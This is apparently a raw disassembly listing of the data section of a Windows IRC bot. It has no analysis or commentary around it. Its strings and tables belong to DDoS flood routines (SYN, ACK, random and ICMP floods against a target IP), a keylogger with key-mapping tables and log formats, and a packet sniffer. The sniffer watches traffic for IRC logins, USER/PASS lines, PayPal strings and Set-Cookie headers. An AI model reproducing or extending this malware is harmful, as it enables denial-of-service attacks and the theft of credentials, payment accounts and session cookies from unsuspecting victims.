dword_421DEC dd 3 dup(0) dd 3, 421DE0h dword_421E00 dd 3 dup(0) dd offset off_43AD28 dd offset dword_421DEC+4 dd offset off_421D10 dword_421E18 dd 4 dup(0) dd 1, 421E14h dword_421E30 dd 3 dup(0) dd offset off_43ACD0 dd offset dword_421E18+8 align 8 off_421E48 dd offset off_43AD48 ; DATA XREF: seg001:00421E60o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_421E48 dd 0 db 0 ; DATA XREF: seg001:00421E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 421E60h dword_421E78 dd 3 dup(0) dd offset off_43AD48 dd offset unk_421E68 align 10h dd 0FFFFFFFFh, 420B4Ch, 0 dd offset sub_420B44 dword_421EA0 dd 19930520h, 2, 421E90h, 4 dup(0) dd 0FFFFFFFFh, 420B70h, 0 dd offset loc_420B78 dword_421ECC dd 19930520h, 2, 421EBCh, 4 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_404DF7 align 10h dd 2 dup(1), 421EF8h dword_421F1C dd 19930520h, 2, 421EE8h, 1, 421F08h, 3 dup(0) ; DATA XREF: seg001:loc_420B8Co dd offset off_43ACD0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 420A6Bh, 2 dup(0) dd offset off_43ACE8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4207F1h, 2 dup(0) dd offset off_43AD08 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4208C4h, 0 dword_421F98 dd 3, 421F78h, 421F58h, 421F38hdword_421FA8 dd 0 ; sub_42088B+12o dd offset sub_42084E dd 0 dd offset dword_421F98 dword_421FB8 dd 19930520h, 1, 421FD8h, 5 dup(0) dd 0FFFFFFFFh, 420B98h dword_421FE0 dd 19930520h, 1, 422000h, 5 dup(0)dword_422000 dd 0FFFFFFFFh, 420BACh, 2, 421F58h, 421F38h, 0dword_422018 dd 0 dd offset sub_420798 dd 0 dd offset dword_422000+8 dword_422028 dd 19930520h, 1, 422048h, 5 dup(0) dd 0FFFFFFFFh, 420BC0h dword_422050 dd 19930520h, 1, 422070h, 5 dup(0) dd 0FFFFFFFFh, 420BD4h dword_422078 dd 19930520h, 1, 422098h, 5 dup(0) dd 0FFFFFFFFh, 420BE8h, 0 dd offset off_43AD28 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4209ACh, 0 dword_4220C0 dd 3, 4220A0h, 421F58h, 421F38hdword_4220D0 dd 0 ; sub_420973+12o dd offset sub_420936 dd 0 dd offset dword_4220C0 dword_4220E0 dd 19930520h, 1, 422100h, 5 dup(0) dd 0FFFFFFFFh, 420BFCh dword_422108 dd 19930520h, 1, 422128h, 5 dup(0) dd 0FFFFFFFFh, 420C10h, 2231Ch, 2 dup(0) dd 22368h, 211B0h, 2216Ch, 2 dup(0) dd 22B0Eh, 21000h, 5 dup(0) dd 226D8h, 22AF4h, 22AE2h, 22AD0h, 22AC0h, 22AB0h, 22AA0h dd 22A82h, 22A6Eh, 22A5Eh, 22A4Ch, 22A3Ah, 22A2Ch, 22A1Ch dd 22A0Ah, 229F0h, 229D8h, 229BEh, 22374h, 22382h, 22392h dd 223ACh, 223C8h, 223DEh, 223EEh, 223F6h, 2240Ch, 22418h dd 22426h, 22432h, 22446h, 22454h, 2246Ah, 2247Ch, 2248Eh dd 2249Eh, 224AEh, 224BCh, 224D2h, 224DEh, 224F6h, 22510h dd 22520h, 22532h, 22544h, 2255Ch, 22574h, 2259Ch, 225B4h dd 225C4h, 225D6h, 225EAh, 225FCh, 2260Ch, 2261Ah, 2262Ch dd 2263Ch, 22652h, 22660h, 2266Eh, 22680h, 2269Ch, 226B2h dd 226C2h, 226E8h, 226FAh, 2270Eh, 2271Ch, 2272Ch, 22742h dd 22750h, 2275Eh, 2276Ch, 22782h, 2278Eh, 227A4h, 227B4h dd 227C6h, 227D2h, 227E8h, 227FCh, 22810h, 22822h, 22836h dd 22842h, 2284Eh, 2285Ah, 22874h, 22884h, 22892h, 228A4h dd 228B6h, 228C4h, 228DEh, 228ECh, 228FAh, 22908h, 22918h dd 22928h, 2293Ah, 22946h, 22956h, 22966h, 22972h, 2297Ch dd 22988h, 229A4h, 0 dd 80000074h, 80000073h, 80000015h, 8000000Ah, 80000002h dd 8000000Dh, 80000001h, 80000034h, 80000016h, 80000012h dd 80000097h, 8000000Bh, 80000009h, 80000017h, 80000004h dd 80000010h, 80000013h, 80000003h, 0 dd 5F325357h, 642E3233h, 6C6Ch, 784500B0h, 68547469h, 64616572h dd 1D50000h, 54746547h, 436B6369h, 746E756Fh, 2990000h aQueryperform_1 db 'QueryPerformanceCounter',0 db 9Ah ; š db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 db 0B9h ; ¹ db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 16Bh aGetlocaltime db 'GetLocalTime',0 align 2 dw 349h aSleep db 'Sleep',0 dw 26Bh aMultibytetowid db 'MultiByteToWideChar',0 dd 655202ABh, 69466461h, 656Ch, 6C43002Eh, 4865736Fh, 6C646E61h dd 3970065h, 74697257h, 6C694665h, 35B0065h aTransactnamedp db 'TransactNamedPipe',0 aM db 'M',0 aCreatefilea db 'CreateFileA',0 db 75h ; u db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 1D6h aGettimeformata db 'GetTimeFormatA',0 align 4 db 3Fh ; ? db 1, 47h, 65h aTdateformata db 'tDateFormatA',0 align 2 dw 169h aGetlasterror db 'GetLastError',0 align 2 aI_0 db 'i',0 aCreatethread db 'CreateThread',0 align 2 dw 15Bh aGetfilesize db 'GetFileSize',0 db 56h ; V db 1, 47h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 db 'Å',0 aFindclose db 'FindClose',0 db '¼',0 aFiletimetosyst db 'FileTimeToSystemTime',0 align 2 db '»',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db 'Ó',0 aFindnextfilea db 'FindNextFileA',0 db 'É',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 dw 310h aSetfilepointer db 'SetFilePointer',0 align 4 db 47h ; G db 2, 4Ch, 65h aAvecriticalsec db 'aveCriticalSection',0 align 4 aP db '',0 aEntercriticals db 'EnterCriticalSection',0 align 4 db 1Ah db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSectionAndSpinCount',0 aZ db 'z',0 aDeletecritical db 'DeleteCriticalSection',0 db 48h ; H db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 98h ; ˜ db 1, 47h, 65h aTprocaddress db 'tProcAddress',0 align 2 dw 177h aGetmodulehandl db 'GetModuleHandleA',0 align 2 db 'ê',0 aFormatmessagea db 'FormatMessageA',0 align 4 db 0 db 2, 47h, 6Ch aObalunlock db 'obalUnlock',0 align 4 db 0F9h ; ù db 1, 47h, 6Ch aOballock db 'obalLock',0 align 2 dw 365h aUnmapviewoffil db 'UnmapViewOfFile',0 db 5Eh ; ^ db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 aN db 'N',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 314h aSetfiletime db 'SetFileTime',0 db 5Dh ; ] db 1, 47h, 65h aTfiletime db 'tFileTime',0 db '`',0 aCreateprocessa db 'CreateProcessA',0 align 10h db '²',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 db 0Eh db 3, 53h, 65h aTfileattribu_0 db 'tFileAttributesA',0 align 2 retf ; --------------------------------------------------------------------------- db 1 aGettemppatha db 'GetTempPathA',0 align 2 dw 152h aGetexitcodepro db 'GetExitCodeProcess',0 align 4 dd 65500287h, 614E6B65h, 5064656Dh, 657069h, 7544008Ch dd 63696C70h, 48657461h, 6C646E61h, 13A0065h aGetcurrentproc db 'GetCurrentProcess',0 a__0 db '_',0 aCreatepipe db 'CreatePipe',0 align 4 db 0DFh ; ß db 1, 47h, 65h aTversionexa db 'tVersionExA',0 db 0FAh ; ú db 1, 47h, 6Ch aObalmemorystat db 'obalMemoryStatus',0 align 2 aP_0 db '¯',0 aExitprocess db 'ExitProcess',0 db '|',0 aDeletefilea db 'DeleteFileA',0 dw 27Ch aOpenprocess db 'OpenProcess',0 db 3Bh ; ; db 1, 47h, 65h aTcurrentproces db 'tCurrentProcessId',0 db '=',0 aCopyfilea db 'CopyFileA',0 dw 385h aWaitforsingleo db 'WaitForSingleObject',0 aZ_0 db 'Z',0 aCreatemutexa db 'CreateMutexA',0 align 4 dd 65540352h, 6E696D72h, 54657461h, 61657268h, 2640064h dd 65766F4Dh, 656C6946h, 3890041h aWidechartomult db 'WideCharToMultiByte',0 dd 6547010Ch, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65540351h dd 6E696D72h, 50657461h, 65636F72h, 7373h, 6547016Ch, 636F4C74h dd 49656C61h, 416F666Eh, 1700000h, 4C746547h, 6369676Fh dd 72446C61h, 73657669h, 2060000h, 70616548h, 6F6C6C41h dd 20C0063h, 70616548h, 65657246h, 2CC0000h, 556C7452h dd 6E69776Eh, 1D80064h aGettimezoneinf db 'GetTimeZoneInformation',0 align 4 db 0BEh ; ¾ db 1, 47h, 65h aTsystemtime db 'tSystemTime',0 db 10h db 2, 48h, 65h aAprealloc db 'apReAlloc',0 dw 1AFh aGetstartupinfo db 'GetStartupInfoA',0 db 8 db 1, 47h, 65h aTcommandlinea db 'tCommandLineA',0 dw 1DEh aGetversion db 'GetVersion',0 align 4 db 50h ; P db 1, 47h, 65h aTenvironmentva db 'tEnvironmentVariableA',0 dw 20Ah aHeapdestroy db 'HeapDestroy',0 db 8 db 2, 48h, 65h aApcreate db 'apCreate',0 align 2 dw 378h aVirtualfree db 'VirtualFree',0 db 75h ; u db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 4 db 2Ch ; , db 2, 49h, 73h aBadwriteptr db 'BadWritePtr',0 db 9Dh ; db 2, 52h, 61h aIseexception db 'iseException',0 align 2 dw 212h aHeapsize db 'HeapSize',0 align 2 dw 23Ah aLcmapstringa db 'LCMapStringA',0 align 2 dw 23Bh aLcmapstringw db 'LCMapStringW',0 align 2 dw 0FCh aGetcpinfo db 'GetCPInfo',0 dw 0F5h aGetacp db 'GetACP',0 align 4 db 8Bh ; ‹ db 1, 47h, 65h aToemcp db 'tOEMCP',0 align 4 db 62h ; b db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 4 aA_0 db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 aU db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 4Dh ; M db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStrings',0 db 4Fh ; O db 1, 47h, 65h aTenvironment_0 db 'tEnvironmentStringsW',0 align 2 dw 319h aSethandlecount db 'SetHandleCount',0 align 4 dd 654701B1h, 64745374h, 646E6148h, 656Ch, 6547015Eh, 6C694674h dd 70795465h, 1B20065h, 53746547h, 6E697274h, 70795467h dd 4165h, 654701B5h, 72745374h, 54676E69h, 57657079h, 32C0000h dd 53746553h, 61486474h, 656C646Eh, 0E50000h, 73756C46h dd 6C694668h, 66754265h, 73726566h, 33D0000h aSetunhandledex db 'SetUnhandledExceptionFilter',0 db 29h ; ) db 2, 49h, 73h aBadreadptr db 'BadReadPtr',0 align 10h db 26h ; & db 2, 49h, 73h aBadcodeptr db 'BadCodePtr',0 align 10h db 5 db 3, 53h, 65h aTendoffile db 'tEndOfFile',0 align 10h a4 db '4',0 aComparestringa db 'CompareStringA',0 align 2 a5 db '5',0 aComparestringw db 'CompareStringW',0 align 4 db 8 db 3, 53h, 65h aTenvironment_1 db 'tEnvironmentVariableA',0 aKernel32_dll db 'KERNEL32.dll',0 align 4 dd 139h dup(0) dword_423000 dd 0 dd offset sub_4036B6 dd offset sub_404EA5 dd offset sub_4209C4 dword_423010 dd 0 dword_423014 dd 0 dd offset sub_4166E2 dd offset sub_41CC21 dd offset sub_41D972 dd offset sub_41E7E4 dword_423028 dd 0 dword_42302C dd 0 dd offset sub_41DA17 dword_423034 dd 0 dword_423038 dd 0 dd offset sub_41E7F5 dword_423040 dd 4 dup(0) unk_423050 db 2 ; DATA XREF: sub_401000+5Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_42308C db 2 ; DATA XREF: sub_4010B2+31Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o align 8 unk_4230E8 db 2 ; DATA XREF: sub_401444+390o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>' db '.',0 align 10h unk_423150 db 2 ; DATA XREF: sub_401444+326o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB' db ').',0 unk_4231B4 db 2 ; DATA XREF: sub_401444+12Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aInvalidTargetI db 'Invalid target IP.',0 align 4 unk_4231E8 db 2 ; DATA XREF: sub_401444+C2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0 align 8 unk_423238 db 2 ; DATA XREF: sub_401444+49o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0 dword_423280 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40182F+48o dd 2029206Ch, 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 dword_4232BC dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_4018CB+295o dd 2029206Ch, 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 align 10h dword_4232F0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD4+4E4o dd 2029206Ch, 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 8 dword_423358 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD4+471o dd 2029206Ch, 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401BD4+2FDo ; sub_40CD3A+2A6Do ... align 4 aAck db 'ack',0 ; DATA XREF: sub_401BD4+2DDo ; sub_40CD3A+2A56o aSyn db 'syn',0 ; DATA XREF: sub_401BD4+2BDo ; sub_40CD3A+2A3Eo dword_4233CC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD4+15Fo dd 2029206Ch, 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 10h dword_423400 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD4+EEo dd 2029206Ch, 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 10h dword_423450 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD4+70o dd 2029206Ch, 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 4 dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4021FB:loc_4022DEo unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_423BCC dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_423C04 dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh ; DATA XREF: sub_40211C+ACo dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211C+86o align 4 aAb db 'ab',0 ; DATA XREF: sub_40211C+4Eo ; sub_40CD3A+291Bo align 4 asc_423C48: ; DATA XREF: sub_40211C+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+21Co align 10h aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1D9o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo align 8 off_423C98 dd offset dword_424510 ; DATA XREF: sub_4024D0+29Er dd offset off_42450C dd offset aFtp ; "FTP" dd offset aHttp ; "HTTP" dword_423CA8 dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_423CBC dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: seg001:00423CA4o align 4 aFtp db 'FTP',0 ; DATA XREF: seg001:00423CA0o off_42450C dd offset byte_435249 ; DATA XREF: seg001:00423C9Co dword_424510 dd 544F42h, 0 unk_424518 db 2 ; DATA XREF: sub_4024D0+2FCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 10h unk_424560 db 2 ; DATA XREF: sub_4024D0+2ABo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_4024D0+236o align 8 unk_4245B8 db 2 ; DATA XREF: sub_4024D0+186o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 